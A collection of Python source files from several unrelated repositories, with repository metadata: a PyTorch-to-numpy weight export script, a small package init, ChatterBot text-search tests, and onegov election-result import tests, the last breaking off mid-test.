u'Sp.', u'Kidlat', u'Guerillero', u'DefenseSupportParty', u'TerriersFan', u'Armando-Martin', u'Dirschne', u'X2qat se', u'Jesus geek', u'Alex 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b717dde42f0284077c1330ba33ad4af6605c30a0
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py
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Python
|
utils/caffe_pytorch_conversion/extract_pytorch_to_npy.py
|
Vertical-Beach/ai-edge-contest4
|
4b5211a9adb383756acade42c8a8b104f6fd7363
|
[
"Apache-2.0"
] | 3
|
2021-02-13T05:16:10.000Z
|
2022-03-08T16:00:02.000Z
|
utils/caffe_pytorch_conversion/extract_pytorch_to_npy.py
|
Vertical-Beach/ai-edge-contest4
|
4b5211a9adb383756acade42c8a8b104f6fd7363
|
[
"Apache-2.0"
] | null | null | null |
utils/caffe_pytorch_conversion/extract_pytorch_to_npy.py
|
Vertical-Beach/ai-edge-contest4
|
4b5211a9adb383756acade42c8a8b104f6fd7363
|
[
"Apache-2.0"
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'l_inception_4e_3x3_reduce_BatchNorm.running_mean', 'l_inception_4e_3x3_reduce_BatchNorm.running_var', 'l_inception_4e_3x3_reduce_BatchNorm.num_batches_tracked', 'l_inception_4e_3x3.weight', 'l_inception_4e_3x3.bias', 'l_inception_4e_3x3_BatchNorm.weight', 'l_inception_4e_3x3_BatchNorm.bias', 'l_inception_4e_3x3_BatchNorm.running_mean', 'l_inception_4e_3x3_BatchNorm.running_var', 'l_inception_4e_3x3_BatchNorm.num_batches_tracked', 'l_inception_4e_5x5_reduce.weight', 'l_inception_4e_5x5_reduce.bias', 'l_inception_4e_5x5_reduce_BatchNorm.weight', 'l_inception_4e_5x5_reduce_BatchNorm.bias', 'l_inception_4e_5x5_reduce_BatchNorm.running_mean', 'l_inception_4e_5x5_reduce_BatchNorm.running_var', 'l_inception_4e_5x5_reduce_BatchNorm.num_batches_tracked', 'l_inception_4e_5x5.weight', 'l_inception_4e_5x5.bias', 'l_inception_4e_5x5_BatchNorm.weight', 'l_inception_4e_5x5_BatchNorm.bias', 'l_inception_4e_5x5_BatchNorm.running_mean', 'l_inception_4e_5x5_BatchNorm.running_var', 'l_inception_4e_5x5_BatchNorm.num_batches_tracked', 'l_inception_4e_pool_proj.weight', 'l_inception_4e_pool_proj.bias', 'l_inception_4e_pool_proj_BatchNorm.weight', 'l_inception_4e_pool_proj_BatchNorm.bias', 'l_inception_4e_pool_proj_BatchNorm.running_mean', 'l_inception_4e_pool_proj_BatchNorm.running_var', 'l_inception_4e_pool_proj_BatchNorm.num_batches_tracked', 'l_inception_5a_1x1.weight', 'l_inception_5a_1x1.bias', 'l_inception_5a_1x1_BatchNorm.weight', 'l_inception_5a_1x1_BatchNorm.bias', 'l_inception_5a_1x1_BatchNorm.running_mean', 'l_inception_5a_1x1_BatchNorm.running_var', 'l_inception_5a_1x1_BatchNorm.num_batches_tracked', 'l_inception_5a_3x3_reduce.weight', 'l_inception_5a_3x3_reduce.bias', 'l_inception_5a_3x3_reduce_BatchNorm.weight', 'l_inception_5a_3x3_reduce_BatchNorm.bias', 'l_inception_5a_3x3_reduce_BatchNorm.running_mean', 'l_inception_5a_3x3_reduce_BatchNorm.running_var', 'l_inception_5a_3x3_reduce_BatchNorm.num_batches_tracked', 'l_inception_5a_3x3.weight', 'l_inception_5a_3x3.bias', 'l_inception_5a_3x3_BatchNorm.weight', 'l_inception_5a_3x3_BatchNorm.bias', 'l_inception_5a_3x3_BatchNorm.running_mean', 'l_inception_5a_3x3_BatchNorm.running_var', 'l_inception_5a_3x3_BatchNorm.num_batches_tracked', 'l_inception_5a_5x5_reduce.weight', 'l_inception_5a_5x5_reduce.bias', 'l_inception_5a_5x5_reduce_BatchNorm.weight', 'l_inception_5a_5x5_reduce_BatchNorm.bias', 'l_inception_5a_5x5_reduce_BatchNorm.running_mean', 'l_inception_5a_5x5_reduce_BatchNorm.running_var', 'l_inception_5a_5x5_reduce_BatchNorm.num_batches_tracked', 'l_inception_5a_5x5.weight', 'l_inception_5a_5x5.bias', 'l_inception_5a_5x5_BatchNorm.weight', 'l_inception_5a_5x5_BatchNorm.bias', 'l_inception_5a_5x5_BatchNorm.running_mean', 'l_inception_5a_5x5_BatchNorm.running_var', 'l_inception_5a_5x5_BatchNorm.num_batches_tracked', 'l_inception_5a_pool_proj.weight', 'l_inception_5a_pool_proj.bias', 'l_inception_5a_pool_proj_BatchNorm.weight', 'l_inception_5a_pool_proj_BatchNorm.bias', 'l_inception_5a_pool_proj_BatchNorm.running_mean', 'l_inception_5a_pool_proj_BatchNorm.running_var', 'l_inception_5a_pool_proj_BatchNorm.num_batches_tracked', 'l_inception_5b_1x1.weight', 'l_inception_5b_1x1.bias', 'l_inception_5b_1x1_BatchNorm.weight', 'l_inception_5b_1x1_BatchNorm.bias', 'l_inception_5b_1x1_BatchNorm.running_mean', 'l_inception_5b_1x1_BatchNorm.running_var', 'l_inception_5b_1x1_BatchNorm.num_batches_tracked', 'l_inception_5b_3x3_reduce.weight', 'l_inception_5b_3x3_reduce.bias', 'l_inception_5b_3x3_reduce_BatchNorm.weight', 'l_inception_5b_3x3_reduce_BatchNorm.bias', 'l_inception_5b_3x3_reduce_BatchNorm.running_mean', 'l_inception_5b_3x3_reduce_BatchNorm.running_var', 'l_inception_5b_3x3_reduce_BatchNorm.num_batches_tracked', 'l_inception_5b_3x3.weight', 'l_inception_5b_3x3.bias', 'l_inception_5b_3x3_BatchNorm.weight', 'l_inception_5b_3x3_BatchNorm.bias', 'l_inception_5b_3x3_BatchNorm.running_mean', 'l_inception_5b_3x3_BatchNorm.running_var', 'l_inception_5b_3x3_BatchNorm.num_batches_tracked', 'l_inception_5b_5x5_reduce.weight', 'l_inception_5b_5x5_reduce.bias', 'l_inception_5b_5x5_reduce_BatchNorm.weight', 'l_inception_5b_5x5_reduce_BatchNorm.bias', 'l_inception_5b_5x5_reduce_BatchNorm.running_mean', 'l_inception_5b_5x5_reduce_BatchNorm.running_var', 'l_inception_5b_5x5_reduce_BatchNorm.num_batches_tracked', 'l_inception_5b_5x5.weight', 'l_inception_5b_5x5.bias', 'l_inception_5b_5x5_BatchNorm.weight', 'l_inception_5b_5x5_BatchNorm.bias', 'l_inception_5b_5x5_BatchNorm.running_mean', 'l_inception_5b_5x5_BatchNorm.running_var', 'l_inception_5b_5x5_BatchNorm.num_batches_tracked', 'l_inception_5b_pool_proj.weight', 'l_inception_5b_pool_proj.bias', 'l_inception_5b_pool_proj_BatchNorm.weight', 'l_inception_5b_pool_proj_BatchNorm.bias', 'l_inception_5b_pool_proj_BatchNorm.running_mean', 'l_inception_5b_pool_proj_BatchNorm.running_var', 'l_inception_5b_pool_proj_BatchNorm.num_batches_tracked', 'l_p5.weight', 'l_p5.bias', 'l_upsample_p5.weight', 'l_latlayer_4f.weight', 'l_latlayer_4f.bias', 'l_toplayer_p4.weight', 'l_toplayer_p4.bias', 'l_upsample_p4.weight', 'l_latlayer_3d.weight', 'l_latlayer_3d.bias', 'l_toplayer_p3.weight', 'l_toplayer_p3.bias', 'l_upsample_p3.weight', 'l_latlayer_2c.weight', 'l_latlayer_2c.bias', 'l_toplayer_p2.weight', 'l_toplayer_p2.bias']
import argparse
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), '../../training'))
from fpn_resnet18 import FPNResnet18
import torch
import glob
import os
import numpy as np
def extract_pytorch_weight(model_path, npy_dir):
model = FPNResnet18()
model.load_state_dict(torch.load(model_path))
os.makedirs(npy_dir, exist_ok=True)
for key in keys:
kind = key[key.rfind('.')+1:]
name = key[2:key.rfind('.')]
id = -1
print(kind, name)
if any([kind == t for t in ['weight', 'bias', 'running_var', 'running_mean']]) == False:
# if any([kind == t for t in ['weight', 'bias']]) == False:
print(model.state_dict()[key].shape)
continue
if kind == 'weight':
id = 0
elif kind == 'bias':
id = 1
elif kind == 'running_mean':
id = 2
elif kind == 'running_var':
id = 3
#do we have to transfer running_mean and running_variance of BatchNorm?
path = npy_dir + '/' + name + '_' + str(id) + '.npy'
size = model.state_dict()[key].shape[0]
torch_weight = np.array([model.state_dict()[key][i].numpy() for i in range(size)])
np.save(path, torch_weight)
print('Done!')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--weight", help="pytorch array weight file")
parser.add_argument("-o", "--output", help="numpy array output path")
args = parser.parse_args()
extract_pytorch_weight(args.weight, args.output)
| 390.3125
| 17,127
| 0.85375
| 2,971
| 18,735
| 4.722652
| 0.039381
| 0.269403
| 0.123156
| 0.085311
| 0.918538
| 0.831231
| 0.521417
| 0.148671
| 0.003706
| 0
| 0
| 0.061955
| 0.044569
| 18,735
| 48
| 17,128
| 390.3125
| 0.721899
| 0.006779
| 0
| 0.04878
| 0
| 0
| 0.839783
| 0.811297
| 0
| 0
| 0
| 0
| 0
| 1
| 0.02439
| false
| 0
| 0.195122
| 0
| 0.219512
| 0.073171
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b7243a0d8ac155548bf22a57ad136481210f89a9
| 87
|
py
|
Python
|
acq4/analysis/modules/pbm_ImageAnalysis/__init__.py
|
aleonlein/acq4
|
4b1fcb9ad2c5e8d4595a2b9cf99d50ece0c0f555
|
[
"MIT"
] | 47
|
2015-01-05T16:18:10.000Z
|
2022-03-16T13:09:30.000Z
|
acq4/analysis/modules/pbm_ImageAnalysis/__init__.py
|
aleonlein/acq4
|
4b1fcb9ad2c5e8d4595a2b9cf99d50ece0c0f555
|
[
"MIT"
] | 48
|
2015-04-19T16:51:41.000Z
|
2022-03-31T14:48:16.000Z
|
acq4/analysis/modules/pbm_ImageAnalysis/__init__.py
|
sensapex/acq4
|
9561ba73caff42c609bd02270527858433862ad8
|
[
"MIT"
] | 32
|
2015-01-15T14:11:49.000Z
|
2021-07-15T13:44:52.000Z
|
from __future__ import print_function
from .pbm_ImageAnalysis import pbm_ImageAnalysis
| 29
| 48
| 0.896552
| 11
| 87
| 6.454545
| 0.636364
| 0.450704
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091954
| 87
| 2
| 49
| 43.5
| 0.898734
| 0
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| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0.5
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
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| 0
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| 0
| 0
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| null | 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
3f9793ae0dc0e4538c1da4cec78c28b32b82e3b1
| 10,747
|
py
|
Python
|
tests/test_search.py
|
gugux289/chatterbot
|
0c4e38877a8a43458ac925444bb11d08aa5976fe
|
[
"BSD-3-Clause"
] | 13,200
|
2015-01-04T07:35:03.000Z
|
2022-03-31T15:06:07.000Z
|
tests/test_search.py
|
gugux289/chatterbot
|
0c4e38877a8a43458ac925444bb11d08aa5976fe
|
[
"BSD-3-Clause"
] | 1,782
|
2015-01-01T12:12:05.000Z
|
2022-03-29T10:21:46.000Z
|
tests/test_search.py
|
gugux289/chatterbot
|
0c4e38877a8a43458ac925444bb11d08aa5976fe
|
[
"BSD-3-Clause"
] | 4,886
|
2015-01-03T12:59:25.000Z
|
2022-03-30T08:21:03.000Z
|
from tests.base_case import ChatBotTestCase
from chatterbot.conversation import Statement
from chatterbot.search import TextSearch, IndexedTextSearch
from chatterbot import comparisons
class SearchTestCase(ChatBotTestCase):
def setUp(self):
super().setUp()
self.search_algorithm = IndexedTextSearch(self.chatbot)
def test_search_no_results(self):
"""
An exception should be raised if there is no data to return.
"""
statement = Statement(text='What is your quest?')
with self.assertRaises(StopIteration):
next(self.search_algorithm.search(statement))
def test_search_cast_to_list_no_results(self):
"""
An empty list should be returned when the generator is
cast to a list and there are no results to return.
"""
statement = Statement(text='What is your quest?')
results = list(self.search_algorithm.search(statement))
self.assertEqual(results, [])
def test_search_additional_parameters(self):
"""
It should be possible to pass additional parameters in to use for searching.
"""
self.chatbot.storage.create_many([
Statement(text='A', conversation='test_1'),
Statement(text='A', conversation='test_2')
])
statement = Statement(text='A')
results = list(self.search_algorithm.search(
statement, conversation='test_1'
))
self.assertIsLength(results, 1)
self.assertEqual(results[0].text, 'A')
self.assertEqual(results[0].conversation, 'test_1')
class IndexedTextSearchComparisonFunctionSpacySimilarityTests(ChatBotTestCase):
"""
Test that the search algorithm works correctly with the
spacy similarity comparison function.
"""
def setUp(self):
super().setUp()
self.search_algorithm = IndexedTextSearch(
self.chatbot,
statement_comparison_function=comparisons.SpacySimilarity
)
def test_get_closest_statement(self):
"""
Note, the content of the in_response_to field for each of the
test statements is only required because the logic adapter will
filter out any statements that are not in response to a known statement.
"""
self.chatbot.storage.create_many([
Statement(text='This is a lovely bog.', in_response_to='This is a lovely bog.'),
Statement(text='This is a beautiful swamp.', in_response_to='This is a beautiful swamp.'),
Statement(text='It smells like a swamp.', in_response_to='It smells like a swamp.')
])
statement = Statement(text='This is a lovely swamp.')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 1)
self.assertEqual(results[0].text, 'This is a beautiful swamp.')
self.assertGreater(results[0].confidence, 0)
def test_different_punctuation(self):
self.chatbot.storage.create_many([
Statement(text='Who are you?'),
Statement(text='Are you good?'),
Statement(text='You are good')
])
statement = Statement(text='Are you good')
results = list(self.search_algorithm.search(statement))
self.assertEqual(len(results), 2, msg=[r.search_text for r in results])
# Note: the last statement in the list always has the highest confidence
self.assertEqual(results[-1].text, 'Are you good?')
class IndexedTextSearchComparisonFunctionLevenshteinDistanceComparisonTests(ChatBotTestCase):
"""
Test that the search algorithm works correctly with the
Levenshtein distance comparison function.
"""
def setUp(self):
super().setUp()
self.search_algorithm = IndexedTextSearch(
self.chatbot,
statement_comparison_function=comparisons.LevenshteinDistance
)
def test_get_closest_statement(self):
"""
Note, the content of the in_response_to field for each of the
test statements is only required because the search process will
filter out any statements that are not in response to something.
"""
self.chatbot.storage.create_many([
Statement(text='What is the meaning of life?', in_response_to='...'),
Statement(text='I am Iron Man.', in_response_to='...'),
Statement(text='What... is your quest?', in_response_to='...'),
Statement(text='Yuck, black licorice jelly beans.', in_response_to='...'),
Statement(text='I hear you are going on a quest?', in_response_to='...'),
])
statement = Statement(text='What is your quest?')
results = list(self.search_algorithm.search(statement))
self.assertEqual(len(results), 1, msg=[r.text for r in results])
self.assertEqual(results[0].text, 'What... is your quest?')
def test_confidence_exact_match(self):
self.chatbot.storage.create(text='What is your quest?', in_response_to='What is your quest?')
statement = Statement(text='What is your quest?')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 1)
self.assertEqual(results[0].confidence, 1)
def test_confidence_half_match(self):
from unittest.mock import MagicMock
# Assume that the storage adapter returns a partial match
self.chatbot.storage.filter = MagicMock(return_value=[
Statement(text='xxyy')
])
statement = Statement(text='wwxx')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 1)
self.assertEqual(results[0].confidence, 0.5)
def test_confidence_no_match(self):
from unittest.mock import MagicMock
# Assume that the storage adapter returns a partial match
self.search_algorithm.chatbot.storage.filter = MagicMock(return_value=[
Statement(text='xxx', in_response_to='xxx')
])
statement = Statement(text='yyy')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 0)
class TextSearchComparisonFunctionSpacySimilarityTests(ChatBotTestCase):
"""
Test that the search algorithm works correctly with the
spacy similarity comparison function.
"""
def setUp(self):
super().setUp()
self.search_algorithm = TextSearch(
self.chatbot,
statement_comparison_function=comparisons.SpacySimilarity
)
def test_get_closest_statement(self):
"""
Note, the content of the in_response_to field for each of the
test statements is only required because the logic adapter will
filter out any statements that are not in response to a known statement.
"""
self.chatbot.storage.create_many([
Statement(text='This is a lovely bog.', in_response_to='This is a lovely bog.'),
Statement(text='This is a beautiful swamp.', in_response_to='This is a beautiful swamp.'),
Statement(text='It smells like a swamp.', in_response_to='It smells like a swamp.')
])
statement = Statement(text='This is a lovely swamp.')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 2)
self.assertEqual(results[-1].text, 'This is a beautiful swamp.')
self.assertGreater(results[-1].confidence, 0)
def test_different_punctuation(self):
self.chatbot.storage.create_many([
Statement(text='Who are you?'),
Statement(text='Are you good?'),
Statement(text='You are good')
])
statement = Statement(text='Are you good')
results = list(self.search_algorithm.search(statement))
self.assertEqual(len(results), 2)
# Note: the last statement in the list always has the highest confidence
self.assertEqual(results[-1].text, 'Are you good?')
class TextSearchComparisonFunctionLevenshteinDistanceComparisonTests(ChatBotTestCase):
"""
Test that the search algorithm works correctly with the
Levenshtein distance comparison function.
"""
def setUp(self):
super().setUp()
self.search_algorithm = TextSearch(
self.chatbot,
statement_comparison_function=comparisons.LevenshteinDistance
)
def test_get_closest_statement(self):
"""
Note, the content of the in_response_to field for each of the
test statements is only required because the search process will
filter out any statements that are not in response to something.
"""
self.chatbot.storage.create_many([
Statement(text='What is the meaning of life?', in_response_to='...'),
Statement(text='I am Iron Man.', in_response_to='...'),
Statement(text='What... is your quest?', in_response_to='...'),
Statement(text='Yuck, black licorice jelly beans.', in_response_to='...'),
Statement(text='I hear you are going on a quest?', in_response_to='...'),
])
statement = Statement(text='What is your quest?')
results = list(self.search_algorithm.search(statement))
self.assertEqual(len(results), 2)
self.assertEqual(results[-1].text, 'What... is your quest?', msg=results[-1].confidence)
def test_confidence_exact_match(self):
self.chatbot.storage.create(text='What is your quest?', in_response_to='What is your quest?')
statement = Statement(text='What is your quest?')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 1)
self.assertEqual(results[0].confidence, 1)
def test_confidence_half_match(self):
from unittest.mock import MagicMock
# Assume that the storage adapter returns a partial match
self.chatbot.storage.filter = MagicMock(return_value=[
Statement(text='xxyy')
])
statement = Statement(text='wwxx')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 1)
self.assertEqual(results[0].confidence, 0.5)
def test_confidence_no_match(self):
from unittest.mock import MagicMock
# Assume that the storage adapter returns a partial match
self.search_algorithm.chatbot.storage.filter = MagicMock(return_value=[
Statement(text='xxx', in_response_to='xxx')
])
statement = Statement(text='yyy')
results = list(self.search_algorithm.search(statement))
self.assertIsLength(results, 0)
| 37.445993
| 102
| 0.657765
| 1,259
| 10,747
| 5.50278
| 0.124702
| 0.080687
| 0.048499
| 0.054128
| 0.872402
| 0.847575
| 0.847575
| 0.8278
| 0.8278
| 0.798355
| 0
| 0.00491
| 0.242021
| 10,747
| 286
| 103
| 37.576923
| 0.845568
| 0.165255
| 0
| 0.779762
| 0
| 0
| 0.125462
| 0
| 0
| 0
| 0
| 0
| 0.172619
| 1
| 0.119048
| false
| 0
| 0.047619
| 0
| 0.196429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3fa1ef497a3b6e93c53c8a749083aa3598f774ce
| 27,447
|
py
|
Python
|
tests/onegov/election_day/formats/election/test_internal_majorz.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
tests/onegov/election_day/formats/election/test_internal_majorz.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
tests/onegov/election_day/formats/election/test_internal_majorz.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
from datetime import date
from io import BytesIO
from onegov.ballot import Election
from onegov.core.csv import convert_list_of_dicts_to_csv
from onegov.election_day.formats import import_election_internal_majorz
from onegov.election_day.models import Canton
from tests.onegov.election_day.common import create_principal
def test_import_internal_majorz_cantonal_zg(
session, import_test_datasets):
# - cantonal results from ZG from the 18.10.2015
principal = 'zg'
election, errors = import_test_datasets(
'internal',
'election',
principal,
'canton',
'majorz',
date_=date(2015, 10, 18),
number_of_mandates=2,
dataset_name='staenderatswahl-2015',
expats=False
)
assert not errors
assert election.completed
assert election.progress == (11, 11)
assert election.absolute_majority == 18191
assert election.eligible_voters == 73355
assert election.accounted_ballots == 38710
assert election.accounted_votes == 72761
assert election.blank_ballots == 63
assert election.invalid_ballots == 115
assert round(election.turnout, 2) == 53.01
assert election.allocated_mandates() == 2
assert sorted(election.elected_candidates) == [
('Joachim', 'Eder'), ('Peter', 'Hegglin')
]
# ... roundtrip
csv = convert_list_of_dicts_to_csv(election.export()).encode('utf-8')
errors = import_election_internal_majorz(
election, create_principal(principal), BytesIO(csv), 'text/plain'
)
assert not errors
assert election.completed
assert election.progress == (11, 11)
assert election.absolute_majority == 18191
assert election.eligible_voters == 73355
assert election.accounted_ballots == 38710
assert election.accounted_votes == 72761
assert election.blank_ballots == 63
assert election.invalid_ballots == 115
assert round(election.turnout, 2) == 53.01
assert election.allocated_mandates() == 2
assert sorted(election.elected_candidates) == [
('Joachim', 'Eder'), ('Peter', 'Hegglin')
]
def test_import_internal_majorz_regional_zg(session, import_test_datasets):
# - regional results form Zug from the 24.06.2012
principal = 'zg'
election, errors = import_test_datasets(
'internal',
'election',
principal,
'region',
'majorz',
date_=date(2015, 10, 18),
number_of_mandates=1,
dataset_name='friedensrichter-2012-06-24',
expats=False
)
assert not errors
assert election.completed
assert election.progress == (1, 1)
assert election.absolute_majority == 3237
assert election.eligible_voters == 16174
assert election.blank_ballots == 89
assert election.invalid_ballots == 72
assert round(election.turnout, 2) == 41.02
assert election.elected_candidates == [('Johannes', 'Stöckli')]
# ... roundtrip
csv = convert_list_of_dicts_to_csv(election.export()).encode('utf-8')
errors = import_election_internal_majorz(
election, create_principal(principal), BytesIO(csv), 'text/plain'
)
assert not errors
assert election.completed
assert election.progress == (1, 1)
assert election.absolute_majority == 3237
assert election.eligible_voters == 16174
assert election.blank_ballots == 89
assert election.invalid_ballots == 72
assert round(election.turnout, 2) == 41.02
assert election.elected_candidates == [('Johannes', 'Stöckli')]
def test_import_internal_majorz_municipality_bern(
session, import_test_datasets):
# Test communal election without quarters
# - communal results from Bern from the 25.11.2015
principal = 'bern'
municipality = '1059'
election, errors = import_test_datasets(
'internal',
'election',
principal,
'municipality',
'majorz',
date_=date(2015, 10, 18),
number_of_mandates=1,
dataset_name='gemeinderat-2015-11-25',
expats=False,
municipality=municipality
)
assert not errors
assert election.completed
assert election.progress == (1, 1)
assert election.absolute_majority == 3294
assert election.eligible_voters == 18699
assert election.blank_ballots == 124
assert election.invalid_ballots == 51
assert round(election.turnout, 2) == 36.16
assert election.allocated_mandates() == 0
assert election.candidates.count() == 4
# ... roundtrip
csv = convert_list_of_dicts_to_csv(election.export()).encode('utf-8')
errors = import_election_internal_majorz(
election,
create_principal(municipality=municipality),
BytesIO(csv),
'text/plain'
)
assert not errors
assert election.completed
assert election.progress == (1, 1)
assert election.absolute_majority == 3294
assert election.eligible_voters == 18699
assert election.blank_ballots == 124
assert election.invalid_ballots == 51
assert round(election.turnout, 2) == 36.16
assert election.allocated_mandates() == 0
assert election.candidates.count() == 4
def test_import_internal_majorz_municipality_kriens(
session, import_test_datasets):
# Test communal election with quarters
# communal results from Kriens from the 23.08.2015
principal = 'kriens'
municipality = '351'
election, errors = import_test_datasets(
'internal',
'election',
principal,
'municipality',
'majorz',
date_=date(2015, 10, 18),
number_of_mandates=1,
dataset_name='stadtpraesidiumswahl-2015-08-23',
expats=False,
municipality=municipality
)
assert not errors
assert election.completed
assert election.progress == (6, 6)
assert election.absolute_majority == 12606
assert election.eligible_voters == 82497
assert election.blank_ballots == 1274
assert election.invalid_ballots == 2797
assert round(election.turnout, 2) == 35.49
assert election.allocated_mandates() == 1
assert sorted(election.elected_candidates) == [('Tschäppät', 'Alexander')]
# ... roundtrip
csv = convert_list_of_dicts_to_csv(election.export()).encode('utf-8')
errors = import_election_internal_majorz(
election,
create_principal(municipality=municipality),
BytesIO(csv),
'text/plain'
)
assert not errors
assert election.completed
assert election.progress == (6, 6)
assert election.absolute_majority == 12606
assert election.eligible_voters == 82497
assert election.blank_ballots == 1274
assert election.invalid_ballots == 2797
assert round(election.turnout, 2) == 35.49
assert election.allocated_mandates() == 1
assert sorted(election.elected_candidates) == [('Tschäppät', 'Alexander')]
def test_import_internal_majorz_missing_headers(session):
session.add(
Election(
title='election',
domain='canton',
date=date(2015, 10, 18),
number_of_mandates=6,
)
)
session.flush()
election = session.query(Election).one()
principal = Canton(canton='sg')
errors = import_election_internal_majorz(
election, principal,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_votes',
'candidate_party',
)),
))
).encode('utf-8')), 'text/plain',
)
assert [(e.error.interpolate()) for e in errors] == [
("Missing columns: 'candidate_elected'")
]
def test_import_internal_majorz_invalid_values(session):
session.add(
Election(
title='election',
domain='canton',
date=date(2015, 10, 18),
number_of_mandates=6,
)
)
session.flush()
election = session.query(Election).one()
principal = Canton(canton='sg')
errors = import_election_internal_majorz(
election, principal,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'xxx', # election_absolute_majority
'xxx', # election_status
'xxx', # entity_id
'xxx', # entity_counted
'xxx', # entity_eligible_voters
'xxx', # entity_received_ballots
'xxx', # entity_blank_ballots
'xxx', # entity_invalid_ballots
'xxx', # entity_blank_votes
'xxx', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'xxx', # candidate_id
'xxx', # candidate_elected
'xxx', # candidate_votes
'xxx', # candidate_party
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'1234', # entity_id
'True', # entity_counted
'100', # entity_eligible_voters
'10', # entity_received_ballots
'0', # entity_blank_ballots
'0', # entity_invalid_ballots
'0', # entity_blank_votes
'0', # entity_invalid_votes
'', # candidate_family_name
'', # candidate_first_name
'', # candidate_id
'', # candidate_elected
'', # candidate_votes
'', # candidate_party
)),
))
).encode('utf-8')), 'text/plain',
)
errors = sorted([(e.line, e.error.interpolate()) for e in errors])
print(errors)
assert errors == [
(2, 'Invalid integer: candidate_id'),
(2, 'Invalid integer: candidate_votes'),
(2, 'Invalid integer: election_absolute_majority'),
(2, 'Invalid integer: entity_id'),
(2, 'Invalid status'),
(3, '1234 is unknown'),
]
def test_import_internal_majorz_expats(session):
session.add(
Election(
title='election',
domain='canton',
date=date(2015, 10, 18),
number_of_mandates=6,
)
)
session.flush()
election = session.query(Election).one()
principal = Canton(canton='zg')
for expats in (False, True):
election.expats = expats
for entity_id in (9170, 0):
errors = import_election_internal_majorz(
election, principal,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
str(entity_id), # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
))
))
).encode('utf-8')), 'text/plain',
)
errors = [(e.line, e.error.interpolate()) for e in errors]
result = election.results.filter_by(entity_id=0).first()
if expats:
assert errors == []
assert result.invalid_votes == 1
else:
assert errors == [(None, 'No data found')]
assert result is None
def test_import_internal_majorz_temporary_results(session):
session.add(
Election(
title='election',
domain='canton',
date=date(2015, 10, 18),
number_of_mandates=6,
)
)
session.flush()
election = session.query(Election).one()
principal = Canton(canton='zg')
errors = import_election_internal_majorz(
election, principal,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'1701', # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'1702', # entity_id
'False', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
